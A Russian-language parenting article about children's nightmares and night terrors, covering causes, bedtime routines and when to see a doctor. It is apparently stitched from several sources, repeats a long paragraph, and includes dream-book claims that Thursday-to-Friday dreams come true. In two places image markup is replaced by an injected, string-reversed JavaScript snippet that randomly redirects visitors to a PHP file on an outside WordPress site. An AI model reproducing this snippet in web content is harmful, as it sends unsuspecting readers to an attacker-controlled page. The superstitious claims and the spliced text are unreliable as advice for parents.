Причины, по которым ребенку снятся кошмары: можно ли их избежать?

Практика расслабляющих методик перед сном

Для того чтобы помочь ребенку преодолеть ночные кошмары, важно создать спокойную и расслабленную атмосферу перед сном. Существуют различные методики, которые могут помочь ребенку расслабиться и успокоиться перед сном

Одним из таких методов является глубокое дыхание

Ребенку можно предложить выполнить несколько глубоких вдохов и выдохов, сосредоточив внимание на своем дыхании. Это поможет установить ритм дыхания, снять напряжение и успокоиться

Еще одним полезным методом является медитация или визуализация. Ребенку можно предложить закрыть глаза и представить себя в каком-нибудь спокойном и безопасном месте, например, на пляже или в лесу. Воображение поможет ребенку расслабиться и отвлечься от негативных мыслей и страхов.

Также можно использовать метод прогрессивной мускулярной релаксации. Ребенку предлагается поочередно напрягать и расслаблять различные группы мышц, начиная с ног и заканчивая лицевыми мышцами. Этот метод позволяет снять мышечное напряжение и улучшить общее состояние ребенка.

Не менее важной практикой является установка режима сна. Ребенку необходимо уложиться спать и просыпаться в одно и то же время каждый день

Это поможет установить внутренние часы организма и обеспечить правильный режим сна. Также важно создать комфортные условия для сна, подобрать удобное спальное место и обеспечить тишину и покой в спальне.

Как решить проблему

Итак, ребенку снятся кошмары, он по ночам вскакивает в истерике, слезах и зовет на помощь.  Если в семье, в школе или садике проблем не наблюдается, и вы, с уверенностью, можете сказать, что ваше чадо в этом плане беспокоить ничего не может, то следует понять причины.

Как самостоятельно справиться с кошмарами?

• постарайтесь сделать так, чтобы малыш не слышал даже намека на разборки между родителями или другими членами семьи. Нередко нравоучения бабушек или дедушек на повышенных тонах, ребенок воспринимает, как желание поругаться с мамой или папой. Даже, если родители ничего не ответили сразу, малыш видит, как меняется настроение родителя;
• пересмотрите дневной режим. Он не должен быть перезагружен. Обязательно включить дневной отдых и спокойные игры (читайте важную статью: Нормы сна детей до года>>>);
• сократить просмотр кинофильмов, программ, а также следить за временем, проведенным за компьютером и прочими гаджетами. Вместо этого лучше пообщаться на интересные темы всей семьей;
• для снятия стресса внутреннего и внешнего, исключите активные игры и физические упражнения за несколько часов до ночного отдыха. Также, в помощь вам будет статья: Ритуалы перед сном>>>;
• каждый раз после возвращения домой с прогулки, школы или детсада следует обсуждать: все что произошло, что было увидено и услышано. Так налаживается контакт между родителями и детьми, а также ребенок может выплеснуть все, что его впечатлило или взбудоражило;
• ребеночек должен находиться в комфортных условиях, как в процессе засыпания, так и во время ночного отдыха. Ему не должен мешать шум, свет и другие посторонние звуки;
• дарите детям больше тепла и любви. Перед отходом ко сну, обязательно обнимите и поцелуйте ребенка. В течение дня всех детей (независимо от возраста) следует обнимать не менее 20 раз;
• пробуждение должно нести позитив. Так все пережитое во сне уже не кажется страшным и ужасным.

Не следует пускать на самотек все, что переживает ребенок во сне или наяву. В детском возрасте происходит формирование личности, и весь негатив ночных кошмаров может повлиять на будущее вашего малыша и его отношение к жизни.

• Во сколько укладывать ребенка спать?
• Ребенок потеет во сне
• Ребенок плохо спит, как ему помочь?

Ночные кошмары

Кошмары отличаются от ночных страхов. Они возникают во время «быстрого» поверхностного сна, приводят к внезапному пробуждению и эмоциональному стрессу.

Во время кошмаров ребенок может испытывать не только обычный страх и беспокойство, но и другие сильные эмоции: грусть, гнев, отвращение.

Кошмары, как правило, происходят ранним утром, в отличие от ночных страхов, происходящих поздним вечером. Дети обычно хорошо помнят детали сна, могут подробно описать события сновидения.

 В отличие от ночных страхов, дети, которым приснился кошмар, просыпаются полностью и испытывают трудности с засыпанием из-за стресса. Отсутствуют такие симптомы как покраснение и потоотделение при пробуждении. Но как и  при возникновении ночных страхов у ребенка повышается частота сердечного ритма.

Кошмары чаще всего испытывают дети в возрасте между 5 и 10 годами, а затем частота проявления значительно снижается. Ночные кошмары переживает хотя бы раз каждый третий ребенок.

Причины возникновения кошмаров

В дошкольном возрасте психика ребенка очень восприимчива к внешнему воздействию, что отражается в его сновидениях. В дошкольном возрасте появляются страхи, которые ребенок не может преодолеть самостоятельно, – страх темноты, страх смерти, страх выдуманных персонажей и т. д. Возможно, именно поэтому пик кошмарных снов приходится именно на возраст 3-7 лет. К основным причинам возникновения кошмаров также можно отнести:

• стресс;
• испуг;
• разлука с близким взрослым;
• сильное эмоциональное потрясение;
• возрастной кризис;
• нарушение или изменение режима дня;
• активные игры перед сном;
• эмоциональный перегруз;
• недосып;
• чрезмерные игры в компьютер/планшет и долгий просмотр телевизора;
• инфекционное заболевание.

Причины появления детских кошмаров

Выявить основную причину кошмарных снов у ребенка можно, узнав о действиях, происходящих в момент сновидения. Это может быть, что угодно. Главное быстрее помочь малышу справиться с этой проблемой. Далее опишем наиболее распространенные причины детского страха во время сна.

Психологическое состояние

Некоторые события, происходящие в жизни ребенка, могут пагубно отразиться на его психическом состоянии. Вот главные из них:

• Плохой эмоциональный настрой беременной женщины. Как бы странно это не звучало, но еще в утробе закладываются основы психики будущего малыша. Если в течении беременности женщина будет испытывать сильные стрессовые ситуации, постоянно нервничать, то это может пагубно сказаться на здоровье новорожденного ребенка, а в следствие, проявиться возникновением ночных кошмаров (в более старшем возрасте).
• Автомобильная авария, операция. Ребенок может на подсознательном уровне вспоминать те негативные события, участником которых он являлся, тем самым перенося их в сон в искаженном варианте.
• Частые ссоры родителей. Накаленная обстановка в семье способна произвести на ребенка неизгладимое впечатление. Многие родители не задумываются, что выяснение отношений может сильно отразиться на психоэмоциональном состоянии малыша.
• Трудные отношения со сверстниками. Не всем детям удается найти хороших друзей и комфортно чувствовать себя в коллективе. Обиды, постоянные оскорбления могут сильно повлиять на ребенка.
• Современные технологии. Если ваш ребенок большую часть времени проводит за компьютером или за просмотром телевизионных программ, то вследствие сильного эмоционального перенапряжения ему могут сниться кошмары.
• Новый этап жизни. Ребенок может испытывать сильный страх при поступлении в школу или детский сад. Ведь для него это новая, неизведанная территория, со своими правилами и нормами, принять которые, порой, бывает очень трудно.
• Боязнь темноты. Многие дети боятся оставаться в темном помещении. Ведь когда ничего не видно вокруг, можно напридумывать массу ужасных вещей, которые в дальнейшем будут преследовать ребенка.
• Просмотр страшного кино. Если ребенок перед сном посмотрел ужастик или фильм про катастрофу, то это может моментально ему присниться.

Состояние здоровья

Зачастую, некоторые заболевания могут проявляться не только клиническими симптомами, но и ночными кошмарами. Вот некоторые из них:

• приближающееся простудное заболевание;
• переполненный мочевой пузырь или проблемы в работе мочеполовой системы;
• нарушения в работе сердечно-сосудистой системы.

Неправильное питание

Несбалансированное и неправильное питание может привести к серьезным нарушениям сна, а дальнейшем, и к появлению ночных кошмаров. Причинами этого являются:

• в рацион ребенка были введены новые продукты питания;
• соленая, острая и слишком тяжелая пища перед сном.

Нарушение режима

Когда у ребенка нет четкого режима дня, это может привести к некоторым нарушениям и расстройствам. Вот основные причины этого:

• отсутствие определенных ритуалов перед сном (чтение сказок, стакан теплого молока и так далее);
• малыш ложится спать в разные часы;
• слишком громкая музыка, веселые игры вечером.

Сонник – Кошмары

Сообщают множество полезной информации, и мы должны быть благодарны им за те послания, которые они несут нам. Они позволяют нам разбираться с теми неразрешенными проблемами, от которых мы привыкли отворачиваться во время бодрствования и пытаемся не допустить в сознание. Эти нерешенные проблемы поражают все аспекты нашей жизни, в том числе наносят вред здоровью и взаимоотношениям. Если вам снится повторяющийся кошмар, постарайтесь вспомнить его днем, возвратиться в кошмар, проигрывая его в воображении по несколько раз, и узнать всю информацию, которую тот несет в себе. Пытайтесь изменить его исход и некоторые детали. Это поможет вам исцелить те области вашей души, которые вызывают этот кошмар и его возврат.

Как избавить ребенка от ночных кошмаров

Для того чтобы избавить малыша от ночных кошмаров в первую очередь следует обратиться не только к их причинам, но и к содержанию. Относительно причин завязанных на нарушении внутренних процессов организма, то сначала следует восстановить его здоровье, вследствие чего уйдут и ночные кошмары. Относительно остального, то здесь нужно работать с содержимым снов и следственными связями вызывающими ночной дискомфорт.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2015/04/Rebenok_spit_v_krovati_1-728×546.jpg» alt=»Ребенок спит в кровати» width=»728″ height=»546″ /> Чтобы избавить малыша от кошмаров, нужно устранить причину 

Если сновидения носят систематический характер и никакие средства не помогают, то следует обратиться к психологу, который смог бы работать с данным запросом. Такая практика в большинстве случаев является универсальной, а так же станет благоприятным фактором в формировании личности ребенка и преждевременном предотвращении возможных неврозов и прочих нарушений.

Существует ряд советов, которые помогли бы предотвратить ночные кошмары, возникающие у малыша:

не следует принимать пищу за несколько часов до сна, так как в результате в теле вырабатывается большое количество энергии, которая не расходуется и во время сна может привести к сильной мозговой активности, выражающейся в виде кошмаров. Это особенно касается сахаросодержащих продуктов, стимулирующих интенсивную работу мозга;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2015/04/ADHDNutrition1-1024×680-728×483.jpg» alt=»Ребенок ест шоколад» width=»728″ height=»483″ /> Сладкое перед сном не рекомендуется

• оградить от сильных эмоциональных переживаний. Это касается эмоционально нагруженных игр и фильмов, которые несут насильственные и страшные сцены. Переживания могут быть не до конца осознаны на момент просмотра киноленты и возвращаться по ночам для повторного прокручивания в подсознании, где малыш невольно становится главным участником событий;
• следует соблюдать режим дня, особенно это касается четко установленного времени, когда следует ложиться спать и просыпаться. Прогулки на улице должны быть ежедневными, а физическая активность пропорциональна возрасту для расхода необходимого количества энергии.

Отличный способ проработать уже приснившийся кошмар – совместно его обсудить. Роль родителя здесь сводиться к тому, чтобы показать разницу между реальным и приснившимся

В такой ситуации важно дать понять, что на самом деле бояться нечего, при этом сделать нужно все крайне аккуратно, чтобы ребенок не решил, что вам не нужны его переживания. Главная задача – подарить чувство защищенности, а так же научить справляться со страхом в принципе

Когда дети начинают видеть сны

Ученым-онейрологам (онейрология – наука, изучающая сновидения) до сих пор не известно, в каком возрасте дети начинают видеть сны. Данные о детских сновидениях, полученные учеными, описывают первые сновидения (приятные и нет) в возрасте 2-х лет. Обычно это чередующиеся цветные пятна или отрывистые воспоминания того, что ребенок увидел за день или воспоминания о событиях, которые произошли в далеком прошлом. Сновидения, которые мы с вами привыкли видеть, возникают только в возрасте 3– 3,5 лет. Именно в этом возрасте психика ребенка способна выдавать полноценные образы сновидений.

Фото: Pixabay

Когда можно не обращать внимание

• в какой день недели приснился кошмар, не пришло ли сновидение с четверга на пятницу;
• какие случаи в жизни человека происходили, не было ли стрессов;
• какое состояние здоровья человека.

Часто плохие сны сняться потому, что человек сильно нервничает и чем-то переживает. Именно в таком случае, неприятное сновидение стоит оставить без внимания.

В какие дни недели не обращать внимания на кошмары

Сны, которые посетили человека в понедельник, могут сбыться, но в реальности все будет не настолько эмоционально. С четверга на пятницу, человек имеет возможность видеть вещие сны и эти кошмары имеют свойство сбываться.

Во все остальные дни недели не стоит предавать особого внимания сновидениям, ведь, скорее всего они не сбудутся в реальной жизни.


Ребенку снятся кошмары: что делать?

Обычно приступ ночного страха у ребёнка сопровождается ярко выраженными признаками: ребёнок вздрагивает, стонет, потеет, может проснуться в плаче и истерике. Есть несколько хороших рекомендаций, как действовать, столкнувшись с ночными кошмарами у ребёнка.

Уделяйте внимание подготовке ребёнка ко сну. Не давайте тяжёлую пищу за несколько часов перед сном. Ограничьте просмотр мультфильмов или телепередач, особенно с яркими картинками и громкими звуками — они вызывают возбуждение нервной системы у ребёнка и плохой сон

Место для сна должно быть идеальным для отдыха и восстановления сил ребёнка: удобный матрац, приглушённый свет ночника, отсутствие шума и резких запахов. Перед сном рекомендуется проветривать помещение детской спальни. Создайте атмосферу защищённости, покажите ребёнку, что вы всегда рядом. Возьмите его на руки или обнимите, убаюкайте. Обозначьте тактильно и интонационно своё присутствие. Если ребёнок проснулся и хочет рассказать о кошмаре, выслушайте его внимательно. Объясните, что бояться не нужно, ведь вы рядом и всегда придёте на помощь. Нужно проговорить этот момент с ребёнком, чтобы избавить его от чувства уязвимости и незащищённости. Помимо обозначения своего присутствия родители могут убедить своего ребёнка, что он у них сильный и может справиться с любым образом из кошмара. Можно придумать вместе с ребёнком защитника — это может быть любимый плюшевый медведь в изголовье кровати или мягкий неоновый ночник, который прогонит темноту. Включите воображение и немного поиграйте с ребёнком, это поможет ему снизить стрессовые ощущения. Если кошмары вызвали определённые ситуации, необходимо вербально их проработать с ребёнком. Например, причиной плохого сна может быть тема смерти, о которой ребёнок впервые узнаёт. Столкнувшись с новым знанием, что любая жизнь конечна и что родителии сам ребёнок когда-нибудь умрут, в раннем возрасте, ребёнок испытывает стресс. В результате это может перерасти в фобию и нанести большую травму, если не проработать её вовремя. Доверительный разговор с ребёнком с правильно подобранной интонацией и вербальными конструкциями смогут придать уверенности ребёнку и помочь избавиться от тревоги

Ограничьте просмотр мультфильмов или телепередач, особенно с яркими картинками и громкими звуками — они вызывают возбуждение нервной системы у ребёнка и плохой сон. Место для сна должно быть идеальным для отдыха и восстановления сил ребёнка: удобный матрац, приглушённый свет ночника, отсутствие шума и резких запахов. Перед сном рекомендуется проветривать помещение детской спальни. Создайте атмосферу защищённости, покажите ребёнку, что вы всегда рядом. Возьмите его на руки или обнимите, убаюкайте. Обозначьте тактильно и интонационно своё присутствие. Если ребёнок проснулся и хочет рассказать о кошмаре, выслушайте его внимательно. Объясните, что бояться не нужно, ведь вы рядом и всегда придёте на помощь. Нужно проговорить этот момент с ребёнком, чтобы избавить его от чувства уязвимости и незащищённости. Помимо обозначения своего присутствия родители могут убедить своего ребёнка, что он у них сильный и может справиться с любым образом из кошмара. Можно придумать вместе с ребёнком защитника — это может быть любимый плюшевый медведь в изголовье кровати или мягкий неоновый ночник, который прогонит темноту. Включите воображение и немного поиграйте с ребёнком, это поможет ему снизить стрессовые ощущения. Если кошмары вызвали определённые ситуации, необходимо вербально их проработать с ребёнком. Например, причиной плохого сна может быть тема смерти, о которой ребёнок впервые узнаёт. Столкнувшись с новым знанием, что любая жизнь конечна и что родителии сам ребёнок когда-нибудь умрут, в раннем возрасте, ребёнок испытывает стресс. В результате это может перерасти в фобию и нанести большую травму, если не проработать её вовремя. Доверительный разговор с ребёнком с правильно подобранной интонацией и вербальными конструкциями смогут придать уверенности ребёнку и помочь избавиться от тревоги.

Последствия ночных кошмаров

Страхи и кошмары порой могут негативно повлиять на психику и эмоциональное состояние ребёнка. Некоторые дети боятся идти в кровать и даже засыпать, так как у них живёт опасение опять столкнуться с ночными ужастиками. В определённых ситуациях они могут преследовать человека и во взрослом возрасте, некоторые с мурашками на коже вспоминают страшные сны.

Если ночные кошмары сопровождаются лунатизмом, то серьёзными последствиями могут быть ушибы, раны и ссадины, ведь ребёнок не контролирует себя в этом состоянии. Однако в большинстве ситуаций такие страхи не имеют никаких серьёзных последствий для здоровья детей.

Что делать?

Ночные кошмары могут настигнуть любого ребёнка. Родители должны правильно на это среагировать, чтобы не напугать еще больше. Следует поговорить с малышом, убедить его, что сны – это всего лишь картинки, которые не сделают ему ничего плохого. Малыш должен прочесть на лице родителя уверенность и спокойствие.

Родители должны изучить вышеперечисленный список возможных причин. Устранив их, можно помочь ребёнку избавиться от кошмаров.

• Наладить взаимоотношения с малышом;
• Оградить его от домашних ссор, чрезмерно утомляющих компьютерных игр, частого просмотра ужастиков по ТВ;
• Необходимо составить режим дня, чтобы ребёнок вовремя укладывался спать днём и ночью;
• Умственным и подвижным играм должно отводиться определённое время;
• Необходимо проверить здоровье крохи;
• Перед сном можно почитать малютке сказку, спеть колыбельную, чтобы во время засыпания он чувствовал спокойствие;
• Если кроха готов рассказать, что ему приснилось, то можно узнать у него все подробности. Можно вместе с ним изобразить персонажи сновидений на бумаге и придумать смешную историю, а потом разорвать листок или разрезать ножницами. Ребёнок рассмеётся и будет меньше бояться страшных снов;
• Перед сном можно напоить малютку настойками из успокоительных трав;
• Можно сходить с малышом на прогулку перед сном или приготовить ему ванную с успокоительными травами;
• Необходимо проводить по утрам зарядку, наполнить день полезными впечатлениями;
• Многие детки пугаются выдуманного чудовища, живущего под кроватью или в шкафу. Это повод, чтобы проверить свои актёрские способности. Прогоните его подручными средствами, а потом проверьте, покинуло ли темноту мифическое чудовище.

Обычно, ночные кошмары перестают сниться самостоятельно после выявления и устранения причин. Но бывают случаи, когда нужно обратиться к врачу.

Что влияет на качество детского сна?

Оказывается, детская психика может страдать не только от неблагоприятных отношений в семье, негативно влияет телевидение и компьютер . Если кошмары — редкое явление, то к 5-6 годам они обычно проходят, и дальше ребёнок спит спокойно. С этим легко справиться, не нужно показывать сына или дочку врачам. Надо просто нормализовать режим сна и отдыха, и дальше всё будет в порядке.

Кошмары являются проблемой не только сна, то есть ночного времени суток, они отражаются и на дневном режиме. Такие дети днём могут закатывать истерику , что является причиной развития нервных расстройств. У ребёнка может быть подавленное настроение, ему страшно засыпать. Он может испытывать страх даже перед своей кроватью. В итоге он начинает бояться оставаться в одиночестве.

Когда и куда следует обратиться за помощью?

Ночные страхи проходят сами по себе с возрастом (к 12-13 годам), когда созревает нервная система, и редко имеют негативное воздействие на психику детей.

Тем не менее, если ужасы происходят несколько раз за ночь, и сопровождают большинство ночей, поговорите с вашим лечащим врачом о том, требуется ли направление к специалисту сна и другим.

Педиатр проверит, нет ли фонового заболевания, поддается ли лечению причина, вызывающая эпизоды террора. Например, большие миндалины могут вызывать проблемы с дыханием ночью и при бодрствовании вашего ребенка.

Полисомнографическое исследование выявит специфическую патологию, если она есть.

Комплексное лечение парасомнии проводится психологом, неврологом, психиатром. Ноотропная терапия позволяет ускорить процесс созревания механизма регуляции сна.

Как родителям себя вести?

Родители, как правило, чувствуют свою беспомощность, не будучи в состоянии успокоить свое напуганное чадо.

Лучший способ справиться с приступом – терпеливо переждать. Дети обычно утихают сами и возвращаются ко сну.

Не пытайтесь будить.

Проснувшись, ребенок не узнает вас, будет дезориентирован, растерян и еще более напуган, ему потребуется гораздо больше времени, чтобы успокоиться и вновь заснуть.

Ваша задача – обезопасить ребенка, чтобы он не травмировался.

Только после того, как эпизод закончился, разбудите ребенка.

Быстрый возврат в глубокую фазу сна может спровоцировать следующий эпизод страха. Предложите, в случае необходимости, сходить в туалет, прежде чем малыш вновь заснет.

Убедитесь, что он полностью проснулся, чтобы разорвать порочную цепь.

Старайтесь не обсуждать с ребенком и при нем события ночи, это может усилить беспокойство малыша.

Ночные страхи нередко сопутствуют приступам сомнамбулизма.

Почему детям снятся сны и откуда берутся кошмары

Сны снятся, когда мозг активен, а тело отдыхает: в это время вся энергия тратится на переосмысление полученного опыта и новой информации. Активная часть сна, когда может присниться кошмар, известна как стадия “быстрого движения глаз” (REM — стадия). Если в это время заглянуть под веки, можно увидеть как глазные яблоки очень быстро двигаются. Кошмары и плохие сны, как правило, снятся во второй половине ночи, когда интервалы REM-стадии увеличиваются. Некоторые ученые утверждают, что кошмары беспокоят детей скорее в первые 3 часа после отбоя, а плохие сны — ближе к утру, но как показывает практика, у каждого человека все индивидуально.

Яркие образы, рисуемые мозгом, кажутся спящему ребенку такими же реальными, как события в жизни, поэтому он испытывает неподдельные эмоции. Вот почему малыш кричит и плачет. Когда дети просыпаются из-за страшного сна, им сложно вернуться к реальности, поэтому, увидев маму, малыши все-равно продолжают нервничать.

У взрослых тоже бывают яркие сны, которые сложно отличить от реальности, даже проснувшись. Но это происходит реже, ведь взрослый мозг уже имеет опыт и знает чего точно быть не может. Первое осознание того, что кошмар не может причинить вред приходит к дошкольникам лет в 5, но даже зная, что это так, дети все-равно долго переживают и боятся. Им еще сложно контролировать эмоции.

О «профилактике»

Предотвратить кошмары возможно, если родители обратят внимание на причины их возникновения у своего ребёнка. Самый правильный вектор — снизить уровень стресса и тревоги у ребёнка, не игнорировать его страхи

Помимо создания благоприятных условий для сна, очень важно разговаривать, ведь именно во время доверительного общения родители могут узнать о потаённых страхах малыша и помочь ему от них избавиться. Комментарий психолога Анастасии Гусевой:

Комментарий психолога Анастасии Гусевой:


«Объекты, которые нам снятся, — это всё части нашей личности. По тому, как ребёнок описывает свои кошмары, можно понять, как протекает его внутренний конфликт и отношения с его собственными страхами. Но родителям нужно помнить, что сам по себе рассказ ребёнка о страшном сне — очень важный процесс, который снижает степень “кошмарности” в несколько раз.

Как лучше всего слушать ребёнка, когда он делится кошмаром? Нужно брать его на руки, на колени, или просто садиться рядом с ним, создавая ему своеобразный “контейнер”, гнёздышко с помощью рук и ног. Нужно также поблагодарить ребёнка за то, что он рассказал о своём страшном сне, ведь это высокая степень доверия и контакта с этим страхом — выведение его на поверхность в виде слов и даже в виде слёз».

Эксперты:

Анастасия Гусева